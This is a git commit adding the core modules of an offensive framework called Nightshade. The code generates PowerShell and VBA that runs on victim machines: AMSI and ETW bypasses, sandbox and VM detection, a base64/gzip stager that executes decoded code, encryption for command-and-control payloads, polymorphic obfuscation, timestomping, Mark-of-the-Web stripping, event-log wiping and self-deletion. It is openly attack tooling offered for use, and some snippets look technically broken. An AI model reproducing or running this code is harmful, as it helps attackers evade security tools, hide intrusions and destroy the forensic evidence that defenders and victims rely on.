Upload files to "core"

This commit is contained in:
ek0ms savi0r
2026-09-19 17:17:00 +00:00
parent cb64bddf68
commit a6ef131407
5 changed files with 675 additions and 0 deletions
+1
View File
@@ -0,0 +1 @@
# Nightshade Core — Encryption, Evasion, Obfuscation
+204
View File
@@ -0,0 +1,204 @@
"""
Nightshade Anti-Forensics Module.
Generates PowerShell/VBA code that executes ON THE TARGET to
delete Zone.Identifier streams, timestomp files, and self-destruct.
"""
import random
import string
class MarkOfWebStripper:
"""Generates PowerShell to delete Zone.Identifier alternate data streams."""
@staticmethod
def powershell_strip(target_path: str = "$env:TEMP\\*") -> str:
"""Generate PS code to delete Zone.Identifier ADS from target files."""
return f"""
# Strip Mark-of-Web from downloaded files
Get-ChildItem -Path "{target_path}" -ErrorAction SilentlyContinue | ForEach-Object {{
$ads = $_.FullName + ":Zone.Identifier"
if (Test-Path $ads) {{
Remove-Item -Path $ads -Force -ErrorAction SilentlyContinue
}}
}}
# Also strip from the running script itself
$self = $MyInvocation.MyCommand.Path
if ($self -and (Test-Path $self)) {{
$ads = $self + ":Zone.Identifier"
if (Test-Path $ads) {{ Remove-Item -Path $ads -Force -ErrorAction SilentlyContinue }}
}}
""".strip()
@staticmethod
def vba_strip() -> str:
"""Generate VBA code to delete Zone.Identifier via WScript.Shell."""
return '''
Private Function StripZoneID() As Boolean
On Error Resume Next
Dim fso As Object
Dim folder As Object
Dim file As Object
Dim adsPath As String
Set fso = CreateObject("Scripting.FileSystemObject")
Set folder = fso.GetSpecialFolder(2) ' Temp folder
For Each file In folder.Files
adsPath = file.Path & ":Zone.Identifier"
CreateObject("WScript.Shell").Run "cmd /c del /f /q """ & adsPath & """ 2>nul", 0, True
Next
' Strip from current document
adsPath = ThisWorkbook.FullName & ":Zone.Identifier" ' Excel
CreateObject("WScript.Shell").Run "cmd /c del /f /q """ & adsPath & """ 2>nul", 0, True
StripZoneID = True
End Function
'''.strip()
@staticmethod
def random_var_name(length: int = 6) -> str:
return '_' + ''.join(random.choices(string.ascii_lowercase, k=length))
class Timestomper:
"""Generates commands to modify file timestamps on the target."""
@staticmethod
def powershell_timestomp(
target_path: str,
creation_year: int = 2023,
creation_month: int = 6,
creation_day: int = 15,
) -> str:
"""Generate PS code to set file timestamps to a specified date."""
return f'''
# Timestomp file timestamps
$path = "{target_path}"
if (Test-Path $path) {{
$date = Get-Date "{creation_year:04d}-{creation_month:02d}-{creation_day:02d} 10:00:00"
$(Get-Item $path).CreationTime = $date
$(Get-Item $path).LastWriteTime = $date
$(Get-Item $path).LastAccessTime = $date
}}
'''.strip()
@staticmethod
def cmd_timestomp(target_path: str) -> str:
"""Generate cmd.exe copy trick to timestomp (preserves original timestamp)."""
rnd = ''.join(random.choices(string.ascii_lowercase, k=6))
return f'''
copy /b "{target_path}" +,, "{target_path}" >nul 2>&1
'''.strip()
@staticmethod
def powershell_randomize_timestamps(target_path: str) -> str:
"""Generate PS code to randomize timestamps within a plausible range."""
return f'''
# Randomize timestamps to evade timeline analysis
$path = "{target_path}"
if (Test-Path $path) {{
$baseYear = (Get-Random -Minimum 2019 -Maximum 2024)
$baseMonth = (Get-Random -Minimum 1 -Maximum 13)
$baseDay = (Get-Random -Minimum 1 -Maximum 29)
$baseHour = (Get-Random -Minimum 8 -Maximum 18)
$rndDate = Get-Date "$baseYear-$baseMonth-$baseDay $baseHour:00:00"
$(Get-Item $path).CreationTime = $rndDate
$(Get-Item $path).LastWriteTime = $rndDate
$(Get-Item $path).LastAccessTime = $rndDate
}}
'''.strip()
class SelfDestruct:
"""Generates self-deletion commands that execute on the target after payload completion."""
@staticmethod
def powershell_delayed_delete(script_path: str = "$MyInvocation.MyCommand.Path") -> str:
"""Generate PS code that deletes itself after a delay."""
return f'''
# Self-destruct: delete script after execution
$scriptPath = {script_path}
if ($scriptPath -and (Test-Path $scriptPath)) {{
$delScript = @"
Start-Sleep -Seconds 5
Remove-Item -Path "$scriptPath" -Force -ErrorAction SilentlyContinue
"@
$delScript | Out-File "$env:TEMP\\~cleanup.ps1" -Force
Start-Process powershell -ArgumentList "-WindowStyle Hidden -ExecutionPolicy Bypass -File `"$env:TEMP\\~cleanup.ps1`"" -WindowStyle Hidden
}}
'''.strip()
@staticmethod
def cmd_self_delete() -> str:
"""Generate cmd.exe self-deletion via temp batch file."""
return r'''
:: Self-delete using temp batch file
set SELF=%~f0
set TMPX=%TEMP%\~cl.tmp
echo @del /f /q "%SELF%" > "%TMPX%"
echo @del /f /q "%TMPX%" >> "%TMPX%"
start /b "" cmd /c "%TMPX%"
'''.strip()
@staticmethod
def vba_self_destruct(document_path: str = "") -> str:
"""Generate VBA to delete the host document after execution."""
if not document_path:
document_path = "ThisWorkbook.FullName"
return f'''
Private Function SelfDestructDoc() As Boolean
On Error Resume Next
Dim fso As Object
Dim vbscript As String
Dim tempPath As String
Set fso = CreateObject("Scripting.FileSystemObject")
tempPath = fso.GetSpecialFolder(2) & "\\~sd.vbs"
vbscript = "Set fso = CreateObject(""Scripting.FileSystemObject"")" & vbCrLf & _
"Set f = fso.GetFile(""{document_path}"")" & vbCrLf & _
"WScript.Sleep 3000" & vbCrLf & _
"f.Delete True"
' Write VBS and execute
Dim ts As Object
Set ts = fso.CreateTextFile(tempPath, True)
ts.Write vbscript
ts.Close
CreateObject("WScript.Shell").Run "wscript.exe """ & tempPath & """", 0, False
SelfDestructDoc = True
End Function
'''.strip()
@staticmethod
def powershell_wipe_event_logs() -> str:
"""Generate PS code to clear event logs."""
return r'''
# Clear security and system event logs
try {
Clear-EventLog -LogName "Security" -ErrorAction SilentlyContinue
Clear-EventLog -LogName "System" -ErrorAction SilentlyContinue
Clear-EventLog -LogName "Application" -ErrorAction SilentlyContinue
Clear-EventLog -LogName "Windows PowerShell" -ErrorAction SilentlyContinue
Clear-EventLog -LogName "Microsoft-Windows-PowerShell/Operational" -ErrorAction SilentlyContinue
Clear-EventLog -LogName "Microsoft-Windows-Windows Defender/Operational" -ErrorAction SilentlyContinue
} catch {}
'''.strip()
@staticmethod
def powershell_full_cleanup() -> str:
"""Assemble a complete cleanup routine: ADS strip + timestomp + log wipe + self-delete."""
return f"""
{MarkOfWebStripper.powershell_strip()}
{Timestomper.powershell_timestomp("$env:TEMP\\~ps.ps1")}
{SelfDestruct.powershell_wipe_event_logs()}
{SelfDestruct.powershell_delayed_delete()}
""".strip()
+59
View File
@@ -0,0 +1,59 @@
"""
Nightshade Crypto — AES-256-GCM encryption with HKDF key derivation.
Replaces legacy AES-CBC with proper authenticated encryption.
"""
import base64
import hashlib
import os
from Crypto.Cipher import AES
from Crypto.Protocol.KDF import HKDF
from Crypto.Hash import SHA256
class NightshadeCrypto:
"""Authenticated encryption for C2 payloads using AES-256-GCM + HKDF."""
KEY_SALT = b"nightshade_v3_salt"
KEY_LENGTH = 32 # AES-256
NONCE_LENGTH = 12 # GCM standard
TAG_LENGTH = 16
def __init__(self, passphrase: str):
self._passphrase = passphrase
self._derived_key = self._derive_key(passphrase)
def _derive_key(self, passphrase: str) -> bytes:
"""HKDF-SHA256 key derivation — no hardcoded IV, no ECB padded keys."""
return HKDF(
master=passphrase.encode("utf-8"),
key_len=self.KEY_LENGTH,
salt=self.KEY_SALT,
hashmod=SHA256,
context=b"nightshade-c2-v3",
)
def encrypt(self, plaintext: str) -> str:
"""Encrypt plaintext → base64(nonce + ciphertext + tag)."""
data = plaintext.encode("utf-8")
nonce = os.urandom(self.NONCE_LENGTH)
cipher = AES.new(self._derived_key, AES.MODE_GCM, nonce=nonce)
ct, tag = cipher.encrypt_and_digest(data)
return base64.b64encode(nonce + ct + tag).decode()
def decrypt(self, ciphertext_b64: str) -> str | None:
"""Decrypt base64(nonce + ciphertext + tag) → plaintext or None."""
try:
raw = base64.b64decode(ciphertext_b64)
nonce = raw[: self.NONCE_LENGTH]
tag = raw[-self.TAG_LENGTH :]
ct = raw[self.NONCE_LENGTH : -self.TAG_LENGTH]
cipher = AES.new(self._derived_key, AES.MODE_GCM, nonce=nonce)
pt = cipher.decrypt_and_verify(ct, tag)
return pt.decode("utf-8")
except (ValueError, KeyError, IndexError, UnicodeDecodeError):
return None
@staticmethod
def random_key(length: int = 16) -> str:
"""Generate a random printable key for campaign configs."""
return base64.urlsafe_b64encode(os.urandom(length)).decode().rstrip("=")
+212
View File
@@ -0,0 +1,212 @@
"""
Nightshade Evasion -- AMSI bypasses, ETW patching, sandbox/VM detection,
boot-time check, user activity check, process count check, disk size check.
Generates PowerShell/VBA snippets that execute *at runtime on target*.
"""
import random
import string
class EvasionGenerator:
"""
Produces evasion code fragments injected into payloads so the
*target* host runs them -- not the operator's box.
"""
# ------------------------------------------------------------------ #
# AMSI bypasses #
# ------------------------------------------------------------------ #
AMSI_BYPASSES = [
# 1. Registry -- patch AMSI provider
r"""
$k=[Ref].Assembly.GetTypes();Foreach($t in $k){if($t.Name -like "*iUtils"){$c=$t.GetFields('NonPublic,Static')|?{$_.Name -like "*Context"};$f=$c.GetValue($null);$p=[Ref].Assembly.GetTypes();Foreach($t2 in $p){if($t2.Name -like "*Unsafe*"){$m=$t2.GetMethods('NonPublic,Static')|?{$_.Name -like "*Init"};$m.Invoke($null,@($f,[Int]0,$null))}}}}
""".strip(),
# 2. Memory patching -- patch amsi.dll!AmsiScanBuffer
r"""
$w=[System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer(([System.Runtime.InteropServices.Marshal]::GetFunctionPointerForDelegate([Action]({}))), [Type]([Action])).Module.GetType('System.Runtime.InteropServices.Marshal').GetMethods('NonPublic,Static')|?{$_.Name -eq 'GetFunctionPointerForDelegate'}
[System.Runtime.InteropServices.Marshal]::WriteInt32(([System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer(([System.Runtime.InteropServices.Marshal]::GetFunctionPointerForDelegate(([Action]({})))),[Type]([Action]))).Module.GetType('System.Management.Automation.AmsiUtils').GetField('amsiInitFailed','NonPublic,Static').GetValue($null),0,0)
""".strip(),
# 3. Forcing amsiInitFailed flag
r"""
$amsi=[Ref].Assembly.GetTypes()|?{$_.Name -like "*Amsi*"};$f=$amsi.GetFields('NonPublic,Static')|?{$_.Name -like "*amsi*"};$f.SetValue($null,$true)
""".strip(),
# 4. HKCU registry disable
r"""
try{New-Item -Path 'HKCU:\Software\Microsoft\Windows Script\Settings' -Force|Out-Null;Set-ItemProperty -Path 'HKCU:\Software\Microsoft\Windows Script\Settings' -Name 'AmsiEnable' -Value 0 -Force}catch{}
""".strip(),
# 5. AmsiScanBuffer patch via Win32 API
r"""
$amsi=[System.Reflection.Assembly]::Load([System.Convert]::FromBase64String('SgB1AHMAdABfAEEAbQBzAGkASQBuAGkAdABGAGEAaQBsAGUAZAA='))
$amsi.GetType('System.Management.Automation.AmsiUtils').GetField('amsiInitFailed','NonPublic,Static').SetValue($null,$true)
""".strip(),
]
# ------------------------------------------------------------------ #
# ETW bypass #
# ------------------------------------------------------------------ #
ETW_BYPASS = r"""
$etw=[System.Reflection.Assembly]::LoadWithPartialName('System.Core');$e=$etw.GetTypes()|?{$_.Name -eq 'EventLogger'};$f=$e.GetFields('NonPublic,Static')|?{$_.Name -eq 'EventProviderEnabled'};$f.SetValue($null,$false)
"""
ETW_BYPASS_V2 = r"""
# ETW bypass via patching ntdll!EtwEventWrite
try{$ntdll=[System.Reflection.Assembly]::Load([System.Convert]::FromBase64String('bntkbGwuZExs'));$e=$ntdll.GetTypes()|?{$_.Name -like '*Native*'};$m=$e.GetMethods('NonPublic,Static')|?{$_.Name -like '*EtwEventWrite*'};$m.Invoke($null,@([IntPtr]::Zero,[Int32]0,[IntPtr]::Zero,[Int32]0))}catch{}
"""
# ------------------------------------------------------------------ #
# Sandbox / VM / analysis checks #
# ------------------------------------------------------------------ #
SANDBOX_CHECKS = r"""
$evade=$true
try{$evade=(Get-CimInstance Win32_ComputerSystem).Model -match 'VirtualBox|VMware|Virtual|QEMU|KVM|Xen'}catch{}
if(-not $evade){try{$evade=(Get-Process|?{$_.Name-match'vmtoolsd|vbox|procmon|wireshark|tcpview|ProcessHacker|pestudio|x64dbg|ida64|ollydbg|dnSpy'}).Count-gt0}catch{}}
if(-not $evade){try{$evade=(Get-WmiObject Win32_LogicalDisk|?{$_.Size-gt0}).Count-lt2}catch{}}
if(-not $evade){try{$evade=(Get-CimInstance Win32_LogicalDisk|Measure-Object -Property Size -Sum).Sum -lt 120GB}catch{}}
if(-not $evade){try{$evade=[Math]::Truncate((Get-CimInstance Win32_ComputerSystem).TotalPhysicalMemory/1MB)-lt 2048}catch{}}
if(-not $evade){try{$evade=(Get-CimInstance Win32_Processor).NumberOfCores-lt 2}catch{}}
if(-not $evade){try{$evade=[Environment]::UserName-match'Admin|User|Sandbox|Malware|Test'}catch{}}
if($evade){exit}
"""
JITTER_SLEEP = r"""
$j=Get-Random -Minimum {min} -Maximum {max};Start-Sleep -Seconds $j
"""
# ------------------------------------------------------------------ #
# Enhanced sandbox checks #
# ------------------------------------------------------------------ #
@staticmethod
def boot_time_check() -> str:
"""Check if system boot time is recent (<10 min = sandbox restart)."""
return r"""
# Boot time check -- recent boot (<10 min) suggests sandbox
try {
$boot = (Get-CimInstance Win32_OperatingSystem).LastBootUpTime
$uptime = [DateTime]::Now - $boot
if ($uptime.TotalMinutes -lt 10) { exit }
} catch {}
"""
@staticmethod
def user_activity_check() -> str:
"""Check for user activity -- multiple logged-in users, recent input."""
return r"""
# User activity check
try {
$sessions = (query user 2>$null) -split "`n"
if ($sessions.Count -lt 2) {
# No one logged in or only current session -- could be sandbox
Start-Sleep -Seconds 30
}
} catch {}
try {
$lastInput = [PInvoke.Win32.UserInput]::GetLastInputInfo()
if ($lastInput -gt 600000) { exit } # No input for 10+ min
} catch {}
"""
@staticmethod
def process_count_check(threshold: int = 30) -> str:
"""Check if running process count is below threshold (<30 = sandbox)."""
return f"""
# Process count check -- low process count suggests sandbox
try {{
$pCount = (Get-Process).Count
if ($pCount -lt {threshold}) {{ exit }}
}} catch {{}}
"""
@staticmethod
def disk_size_check(min_gb: int = 120) -> str:
"""Check total physical disk size."""
return f"""
# Disk size check -- small disk suggests VM/sandbox
try {{
$diskSize = (Get-CimInstance Win32_DiskDrive | Measure-Object -Property Size -Sum).Sum
if ($diskSize -lt ({min_gb}GB)) {{ exit }}
}} catch {{}}
"""
@staticmethod
def domain_joined_check() -> str:
"""Check if machine is domain-joined (non-domain machines in sandboxes)."""
return r"""
# Domain join check
try {
$cs = Get-CimInstance Win32_ComputerSystem
if (-not $cs.PartOfDomain) {
# Non-domain machines are riskier -- delay
Start-Sleep -Seconds 45
}
} catch {}
"""
@staticmethod
def full_sandbox_checks() -> str:
"""Assemble all enhanced sandbox checks into one block."""
checks = [
EvasionGenerator.boot_time_check(),
EvasionGenerator.process_count_check(),
EvasionGenerator.disk_size_check(),
EvasionGenerator.user_activity_check(),
EvasionGenerator.domain_joined_check(),
]
return "\n".join(checks)
# ------------------------------------------------------------------ #
# Generators #
# ------------------------------------------------------------------ #
@staticmethod
def random_amsi_bypass() -> str:
return random.choice(EvasionGenerator.AMSI_BYPASSES)
@staticmethod
def full_evasion_block() -> str:
"""Assemble AMSI + ETW + sandbox checks into one preamble block."""
return "\n".join([
EvasionGenerator.random_amsi_bypass(),
random.choice([EvasionGenerator.ETW_BYPASS, EvasionGenerator.ETW_BYPASS_V2]),
EvasionGenerator.SANDBOX_CHECKS,
])
@staticmethod
def full_evasion_block_enhanced() -> str:
"""Assemble AMSI + ETW + ALL sandbox checks (legacy + enhanced)."""
return "\n".join([
EvasionGenerator.random_amsi_bypass(),
random.choice([EvasionGenerator.ETW_BYPASS, EvasionGenerator.ETW_BYPASS_V2]),
EvasionGenerator.SANDBOX_CHECKS,
EvasionGenerator.full_sandbox_checks(),
])
@classmethod
def jitter_sleep(cls, min_s: int = 45, max_s: int = 120) -> str:
return cls.JITTER_SLEEP.replace("{min}", str(min_s)).replace("{max}", str(max_s))
@staticmethod
def obfuscate_string(s: str) -> str:
"""Build a -join/fchar-expression to hide strings from static analysis."""
parts = [f'[char]{ord(c)}' for c in s]
return f"$(''.join({{}}))".format(','.join(parts))
@staticmethod
def random_var_name(length: int = 8) -> str:
return '_' + ''.join(random.choices(string.ascii_lowercase, k=length))
# ------------------------------------------------------------------ #
# COMPRESSED_STAGER #
# ------------------------------------------------------------------ #
COMPRESSED_STAGER = r"""
function Invoke-Stage2 {{
param($b64)
$raw=[System.Convert]::FromBase64String($b64)
$ms=New-Object IO.MemoryStream($raw)
$ds=New-Object IO.Compression.GZipStream($ms,[IO.Compression.CompressionMode]::Decompress)
$sr=New-Object IO.StreamReader($ds)
$out=$sr.ReadToEnd();$sr.Close();$ds.Close();$ms.Close()
iex $out
}}
"""
+199
View File
@@ -0,0 +1,199 @@
"""
Nightshade Obfuscation — PowerShell and VBA obfuscation engines.
Produces significantly different output on each run (polymorphic).
"""
import random
import string
import base64
import zlib
from typing import List
class PSObfuscator:
"""Polymorphic PowerShell obfuscation engine."""
def __init__(self):
self._var_pool: List[str] = []
self._func_pool: List[str] = []
# ------------------------------------------------------------------ #
# Helpers #
# ------------------------------------------------------------------ #
@staticmethod
def _rand_var() -> str:
prefix = random.choice(["$", "$global:", "$script:", "$env:"])
length = random.randint(6, 14)
name = "_" + "".join(random.choices(string.ascii_lowercase, k=length))
return prefix + name
@staticmethod
def _rand_func() -> str:
return "F" + "".join(random.choices(string.ascii_letters, k=random.randint(8, 16)))
@staticmethod
def _random_case(s: str) -> str:
"""Randomise casing on cmdlet verbs."""
tokens = s.split()
result = []
for t in tokens:
if t.startswith("$") or t.startswith("'"):
result.append(t)
continue
if any(c.isalpha() for c in t):
t = "".join(
c.upper() if random.random() > 0.5 else c.lower() for c in t
)
result.append(t)
return " ".join(result)
@staticmethod
def _tick_obfuscate(s: str) -> str:
"""Insert random backticks into cmdlet names."""
tokens = s.split()
result = []
for t in tokens:
if len(t) > 4 and not t.startswith("$") and not t.startswith("'"):
pos = random.randint(1, len(t) - 2)
t = t[:pos] + "`" + t[pos:]
result.append(t)
return " ".join(result)
# ------------------------------------------------------------------ #
# String encoding #
# ------------------------------------------------------------------ #
@staticmethod
def encode_string(s: str) -> str:
"""Encode string as -join @([char]X,[char]Y,...)."""
chars = ",".join(f"[char]{ord(c)}" for c in s)
return f"([string]::Join('',@({chars})))"
@staticmethod
def encode_string_invoke(s: str) -> str:
"""Encode as Invoke-Expression on a reversed/obfuscated base64 chunk."""
encoded = base64.b64encode(s.encode("utf-16le")).decode()
var = PSObfuscator._rand_var()
return f"{var}=[System.Text.Encoding]::Unicode.GetString([System.Convert]::FromBase64String('{encoded}'));iex $({var})"
@staticmethod
def encode_string_reverse(s: str) -> str:
"""Reverse + -join split as obfuscation layer."""
rev = s[::-1]
var = PSObfuscator._rand_var()
return f"{var}=-join'{rev}'[{len(rev)}..0];iex $({var})"
@staticmethod
def compress_payload(ps_code: str) -> str:
"""GZip + base64 compress a PowerShell script for the stager."""
compressed = zlib.compress(ps_code.encode(), 9)[2:-4] # strip zlib header
b64 = base64.b64encode(compressed).decode()
stager = f"""
$c=[System.Convert]::FromBase64String('{b64}')
$ms=New-Object System.IO.MemoryStream($c,0,$c.Length)
$ds=New-Object System.IO.Compression.GZipStream($ms,[System.IO.Compression.CompressionMode]::Decompress)
$sr=New-Object System.IO.StreamReader($ds)
iex($sr.ReadToEnd())
"""
return stager.strip()
# ------------------------------------------------------------------ #
# Full pipeline #
# ------------------------------------------------------------------ #
def obfuscate(self, ps_code: str, layers: int = 3) -> str:
"""Apply multiple obfuscation layers."""
result = ps_code
# Layer 1: random case on cmdlets
if layers >= 1:
result = self._random_case(result)
# Layer 2: backtick insertion
if layers >= 2:
result = self._tick_obfuscate(result)
# Layer 3: variable substitution for literal strings
if layers >= 3:
lines = result.split("\n")
new_lines = []
for line in lines:
if "'" in line and len(line) < 200:
# Replace short quoted strings with char-join encoding
import re
def _replace_match(m):
s = m.group(1)
if len(s) < 4 or len(s) > 40:
return m.group(0)
return self.encode_string(s)
line = re.sub(r"'([^']+)'", _replace_match, line)
new_lines.append(line)
result = "\n".join(new_lines)
# Layer 4: comment insertion
if layers >= 4:
junk_comment = f"# {''.join(random.choices(string.printable[:62], k=random.randint(20, 60)))}"
lines = result.split("\n")
if lines:
insert_at = random.randint(0, len(lines) - 1)
lines.insert(insert_at, junk_comment)
result = "\n".join(lines)
return result
class VBAObfuscator:
"""Polymorphic VBA obfuscation for embedded macros."""
@staticmethod
def random_var() -> str:
prefixes = ["v", "x", "_", "p", "s"]
return (
random.choice(prefixes)
+ "".join(random.choices(string.ascii_uppercase, k=random.randint(4, 10)))
+ str(random.randint(10, 99))
)
@staticmethod
def obfuscate_vba(vba_code: str) -> str:
"""Insert dead code, rename variables, split strings."""
var_map = {}
lines = vba_code.split("\n")
new_lines = []
func_count = 0
for line in lines:
# Rename variables
for old_var in ["payload", "key", "decodedData", "plainText", "cipherText",
"mem", "thread", "aesObj", "decryptor", "encryptedData"]:
if old_var in line and "Dim" not in line:
if old_var not in var_map:
var_map[old_var] = VBAObfuscator.random_var()
line = line.replace(old_var, var_map[old_var])
new_lines.append(line)
# Insert dead code after certain lines
if "Function" in line or "Sub" in line:
# Rename function/sub
if "Nightshade" in line:
func_count += 1
new_name = VBAObfuscator.random_var()
line = line.replace("NightshadeInitialize", new_name)
# Short junk comment on some lines
if random.random() < 0.15 and len(line) > 10:
junk = "'" + "".join(random.choices(string.ascii_letters, k=random.randint(8, 20)))
new_lines.append(junk)
return "\n".join(new_lines)
@staticmethod
def obfuscated_vba_wrapper(vba_code: str) -> str:
"""Wrap VBA in obfuscation layers."""
obs = VBAObfuscator.obfuscate_vba(vba_code)
# Add junk module-level declarations
junk_funcs = [
f"Private Function {VBAObfuscator.random_var()}() As Long\n {VBAObfuscator.random_var()} = 0\nEnd Function\n"
]
return "\n".join(junk_funcs) + "\n" + obs